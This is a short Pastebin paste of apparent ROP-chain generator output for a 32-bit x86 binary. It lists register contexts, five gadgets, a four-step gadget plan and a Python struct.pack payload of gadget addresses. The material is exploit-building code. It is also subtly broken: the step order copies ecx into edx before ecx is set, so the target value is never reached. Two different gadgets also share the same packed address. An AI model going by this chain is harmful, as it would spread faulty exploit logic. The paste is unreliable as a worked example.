Advertisement
Guest User

Untitled

a guest
Nov 1st, 2014
162
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.84 KB | None | 0 0
  1. [+] Context = {'edi': 0, 'eax': 0, 'edx': 0, 'ebx': 0, 'esi': 0, 'ecx': 0}
  2. [+] Target = {'edi': edi, 'eax': eax, 'edx': 51, 'ebx': ebx, 'esi': esi, 'ecx': ecx}
  3.  
  4. [+] Following gadgets available:
  5. -> add eax, 0x1 ; ret
  6. -> add eax, 0x32 ; ret
  7. -> add eax, 0x45 ; ret
  8. -> mov edx, ecx ; ret
  9. -> mov ecx, eax ; ret
  10.  
  11. 1) Then, use the "add eax, 0x1 ; ret" gadget 1 times
  12. 2) Then, use the "add eax, 0x32 ; ret" gadget 1 times
  13. 3) Then, use the "mov edx, ecx ; ret" gadget 1 times
  14. 4) Then, use the "mov ecx, eax ; ret" gadget 1 times
  15.  
  16. [+] Payload:
  17.  
  18. from struct import pack
  19. p = ''
  20. p += pack('<I', 0x403a0e) # add eax, 0x1 ; ret
  21. p += pack('<I', 0x401207) # add eax, 0x32 ; ret
  22. p += pack('<I', 0x441ba7) # mov edx, ecx ; ret
  23. p += pack('<I', 0x441ba7) # mov ecx, eax ; ret
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement